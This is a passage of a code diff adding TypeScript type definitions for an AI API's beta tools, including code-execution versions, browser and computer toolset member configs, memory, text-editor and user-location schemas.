+ * @type boolean | undefined + */ + strict?: boolean + type: 'code_execution_20250522' +} + +export type BetaCodeExecutionTool20250825 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'code_execution' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'code_execution_20250825' +} + +/** + * @description A `tools` entry for the code execution tool, version `code_execution_20260120`. It adds REPL state persistence to version `code_execution_20250825`. + * + * REPL state persistence applies with programmatic tool calling. With it, the Python interpreter state, such as variable bindings, persists across requests that reuse the container. + * + * See the [code execution tool guide](https://platform.claude.com/docs/en/agents-and-tools/tool-use/code-execution-tool#tool-versions) to learn what each tool version adds. + * @type object + */ +export type BetaCodeExecutionTool20260120 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'code_execution' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'code_execution_20260120' +} + +/** + * @description Code execution tool with REPL state persistence. + * @type object + */ +export type BetaCodeExecutionTool20260521 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'code_execution' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'code_execution_20260521' +} + +/** + * @description ``close_tab``'s config overrides. + * @type object + */ +export type BetaBrowserCloseTabConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``double_click``'s config overrides. + * @type object + */ +export type BetaBrowserDoubleClickConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``file_upload``'s config overrides. + * @type object + */ +export type BetaBrowserFileUploadConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``find``'s config overrides. + * @type object + */ +export type BetaBrowserFindConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``form_input``'s config overrides. + * @type object + */ +export type BetaBrowserFormInputConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``get_page_text``'s config overrides. + * @type object + */ +export type BetaBrowserGetPageTextConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``hold_key``'s config overrides. + * @type object + */ +export type BetaBrowserHoldKeyConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``hover``'s config overrides. + * @type object + */ +export type BetaBrowserHoverConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``javascript_exec``'s config overrides. + * @type object + */ +export type BetaBrowserJavascriptExecConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``key``'s config overrides. + * @type object + */ +export type BetaBrowserKeyConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``left_click``'s config overrides. + * @type object + */ +export type BetaBrowserLeftClickConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``left_click_drag``'s config overrides. + * @type object + */ +export type BetaBrowserLeftClickDragConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``left_mouse_down``'s config overrides. + * @type object + */ +export type BetaBrowserLeftMouseDownConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``left_mouse_up``'s config overrides. + * @type object + */ +export type BetaBrowserLeftMouseUpConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``list_tabs``'s config overrides. + * @type object + */ +export type BetaBrowserListTabsConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``middle_click``'s config overrides. + * @type object + */ +export type BetaBrowserMiddleClickConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``mouse_move``'s config overrides. + * @type object + */ +export type BetaBrowserMouseMoveConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``navigate``'s config overrides. + * @type object + */ +export type BetaBrowserNavigateConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``new_tab``'s config overrides. + * @type object + */ +export type BetaBrowserNewTabConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``read_console``'s config overrides. + * @type object + */ +export type BetaBrowserReadConsoleConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``read_network``'s config overrides. + * @type object + */ +export type BetaBrowserReadNetworkConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``read_page``'s config overrides. + * @type object + */ +export type BetaBrowserReadPageConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``right_click``'s config overrides. + * @type object + */ +export type BetaBrowserRightClickConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``screenshot``'s config overrides. + * @type object + */ +export type BetaBrowserScreenshotConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``scroll``'s config overrides. + * @type object + */ +export type BetaBrowserScrollConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``scroll_to``'s config overrides. + * @type object + */ +export type BetaBrowserScrollToConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``switch_tab``'s config overrides. + * @type object + */ +export type BetaBrowserSwitchTabConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``triple_click``'s config overrides. + * @type object + */ +export type BetaBrowserTripleClickConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``type``'s config overrides. + * @type object + */ +export type BetaBrowserTypeConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``wait``'s config overrides. + * @type object + */ +export type BetaBrowserWaitConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``zoom``'s config overrides. + * @type object + */ +export type BetaBrowserZoomConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description Per-member configuration for ``browser_toolset_20260801``: one + * optional field per member tool, keyed by the member name — the same + * name the member's ``tool_use`` blocks carry. Every member is an + * accepted key, and a member's defaults apply wherever its key is + * absent. Unknown keys are rejected: the field set is this toolset + * version's complete member set. + * @type object + */ +export type BetaBrowserToolsetConfigs = { + close_tab?: BetaBrowserCloseTabConfig | null + double_click?: BetaBrowserDoubleClickConfig | null + file_upload?: BetaBrowserFileUploadConfig | null + find?: BetaBrowserFindConfig | null + form_input?: BetaBrowserFormInputConfig | null + get_page_text?: BetaBrowserGetPageTextConfig | null + hold_key?: BetaBrowserHoldKeyConfig | null + hover?: BetaBrowserHoverConfig | null + javascript_exec?: BetaBrowserJavascriptExecConfig | null + key?: BetaBrowserKeyConfig | null + left_click?: BetaBrowserLeftClickConfig | null + left_click_drag?: BetaBrowserLeftClickDragConfig | null + left_mouse_down?: BetaBrowserLeftMouseDownConfig | null + left_mouse_up?: BetaBrowserLeftMouseUpConfig | null + list_tabs?: BetaBrowserListTabsConfig | null + middle_click?: BetaBrowserMiddleClickConfig | null + mouse_move?: BetaBrowserMouseMoveConfig | null + navigate?: BetaBrowserNavigateConfig | null + new_tab?: BetaBrowserNewTabConfig | null + read_console?: BetaBrowserReadConsoleConfig | null + read_network?: BetaBrowserReadNetworkConfig | null + read_page?: BetaBrowserReadPageConfig | null + right_click?: BetaBrowserRightClickConfig | null + screenshot?: BetaBrowserScreenshotConfig | null + scroll?: BetaBrowserScrollConfig | null + scroll_to?: BetaBrowserScrollToConfig | null + switch_tab?: BetaBrowserSwitchTabConfig | null + triple_click?: BetaBrowserTripleClickConfig | null + type?: BetaBrowserTypeConfig | null + wait?: BetaBrowserWaitConfig | null + zoom?: BetaBrowserZoomConfig | null +} + +/** + * @description The browser toolset: a single ``tools[]`` entry (carrying no + * ``name``) that declares the browser tool family. The model is served + * the family's tool with any members disabled via ``configs`` removed + * from its schema. + * @type object + */ +export type BetaBrowserToolset20260801 = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description Sparse per-member overrides, keyed by member name. Absent, null, and {} are equivalent; a member's defaults apply wherever its key is absent. + */ + configs?: BetaBrowserToolsetConfigs | null + type: 'browser_toolset_20260801' +} + +export type BetaComputerUseTool20241022 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description The height of the display in pixels. + * @minimum 1 + * @type integer + */ + display_height_px: number + /** + * @description The X11 display number (e.g. 0, 1) for the display. + */ + display_number?: number | null + /** + * @description The width of the display in pixels. + * @minimum 1 + * @type integer + */ + display_width_px: number + input_examples?: { + [key: string]: BetaJsonValue + }[] + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'computer' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'computer_20241022' +} + +export type BetaMemoryTool20250818 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + input_examples?: { + [key: string]: BetaJsonValue + }[] + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'memory' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'memory_20250818' +} + +export type BetaComputerUseTool20250124 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description The height of the display in pixels. + * @minimum 1 + * @type integer + */ + display_height_px: number + /** + * @description The X11 display number (e.g. 0, 1) for the display. + */ + display_number?: number | null + /** + * @description The width of the display in pixels. + * @minimum 1 + * @type integer + */ + display_width_px: number + input_examples?: { + [key: string]: BetaJsonValue + }[] + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'computer' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'computer_20250124' +} + +export type BetaTextEditor20241022 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + input_examples?: { + [key: string]: BetaJsonValue + }[] + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'str_replace_editor' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'text_editor_20241022' +} + +export type BetaComputerUseTool20251124 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description The height of the display in pixels. + * @minimum 1 + * @type integer + */ + display_height_px: number + /** + * @description The X11 display number (e.g. 0, 1) for the display. + */ + display_number?: number | null + /** + * @description The width of the display in pixels. + * @minimum 1 + * @type integer + */ + display_width_px: number + /** + * @description Whether to enable an action to take a zoomed-in screenshot of the screen. + * @type boolean | undefined + */ + enable_zoom?: boolean + input_examples?: { + [key: string]: BetaJsonValue + }[] + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'computer' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'computer_20251124' +} + +/** + * @description ``cursor_position``'s config overrides. + * @type object + */ +export type BetaComputerCursorPositionConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``double_click``'s config overrides. + * @type object + */ +export type BetaComputerDoubleClickConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``hold_key``'s config overrides. + * @type object + */ +export type BetaComputerHoldKeyConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``key``'s config overrides. + * @type object + */ +export type BetaComputerKeyConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``left_click``'s config overrides. + * @type object + */ +export type BetaComputerLeftClickConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``left_click_drag``'s config overrides. + * @type object + */ +export type BetaComputerLeftClickDragConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``left_mouse_down``'s config overrides. + * @type object + */ +export type BetaComputerLeftMouseDownConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``left_mouse_up``'s config overrides. + * @type object + */ +export type BetaComputerLeftMouseUpConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``middle_click``'s config overrides. + * @type object + */ +export type BetaComputerMiddleClickConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``mouse_move``'s config overrides. + * @type object + */ +export type BetaComputerMouseMoveConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``right_click``'s config overrides. + * @type object + */ +export type BetaComputerRightClickConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``screenshot``'s config overrides. + * @type object + */ +export type BetaComputerScreenshotConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``scroll``'s config overrides. + * @type object + */ +export type BetaComputerScrollConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``triple_click``'s config overrides. + * @type object + */ +export type BetaComputerTripleClickConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``type``'s config overrides. + * @type object + */ +export type BetaComputerTypeConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``wait``'s config overrides. + * @type object + */ +export type BetaComputerWaitConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``zoom``'s config overrides. + * @type object + */ +export type BetaComputerZoomConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description Per-member configuration for ``computer_toolset_20260801``: one + * optional field per member tool, keyed by the member name — the same + * name the member's ``tool_use`` blocks carry. Every member is an + * accepted key, and a member's defaults apply wherever its key is + * absent. Unknown keys are rejected: the field set is this toolset + * version's complete member set. + * @type object + */ +export type BetaComputerToolsetConfigs = { + cursor_position?: BetaComputerCursorPositionConfig | null + double_click?: BetaComputerDoubleClickConfig | null + hold_key?: BetaComputerHoldKeyConfig | null + key?: BetaComputerKeyConfig | null + left_click?: BetaComputerLeftClickConfig | null + left_click_drag?: BetaComputerLeftClickDragConfig | null + left_mouse_down?: BetaComputerLeftMouseDownConfig | null + left_mouse_up?: BetaComputerLeftMouseUpConfig | null + middle_click?: BetaComputerMiddleClickConfig | null + mouse_move?: BetaComputerMouseMoveConfig | null + right_click?: BetaComputerRightClickConfig | null + screenshot?: BetaComputerScreenshotConfig | null + scroll?: BetaComputerScrollConfig | null + triple_click?: BetaComputerTripleClickConfig | null + type?: BetaComputerTypeConfig | null + wait?: BetaComputerWaitConfig | null + zoom?: BetaComputerZoomConfig | null +} + +/** + * @description The computer toolset: a single ``tools[]`` entry (carrying no + * ``name``) that declares the computer tool family. The model is + * served the family's tool with any members disabled via ``configs`` + * removed from its schema. Every member is enabled by default, zoom + * included. The single-tool options ``display_number`` and + * ``enable_zoom`` are not fields of a toolset entry — it carries only + * ``type``, ``configs``, and ``cache_control``; zoom is controlled + * via ``configs.zoom.enabled``. + * @type object + */ +export type BetaComputerToolset20260801 = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description Sparse per-member overrides, keyed by member name. Absent, null, and {} are equivalent; a member's defaults apply wherever its key is absent. + */ + configs?: BetaComputerToolsetConfigs | null + type: 'computer_toolset_20260801' +} + +export type BetaTextEditor20250124 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + input_examples?: { + [key: string]: BetaJsonValue + }[] + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'str_replace_editor' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'text_editor_20250124' +} + +export type BetaTextEditor20250429 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + input_examples?: { + [key: string]: BetaJsonValue + }[] + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'str_replace_based_edit_tool' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'text_editor_20250429' +} + +export type BetaTextEditor20250728 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + input_examples?: { + [key: string]: BetaJsonValue + }[] + /** + * @description Maximum number of characters to display when viewing a file. If not specified, defaults to displaying the full file. + */ + max_characters?: number | null + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'str_replace_based_edit_tool' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'text_editor_20250728' +} + +export type BetaUserLocation = { + /** + * @description The city of the user. + * @example New York + * @example Tokyo + * @example Los Angeles + */ + city?: string | null + /** + * @description The two letter [ISO country code](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2) of the user. + * @example US + * @example JP + * @example GB + */ + country?: string | null + /** + * @description The region of the user. + * @example California + * @example Ontario + * @example Wales + */ + region?: string | null + /** + * @description The [IANA timezone](https://nodatime.org/TimeZones) of the user. + * @example America/New_York + 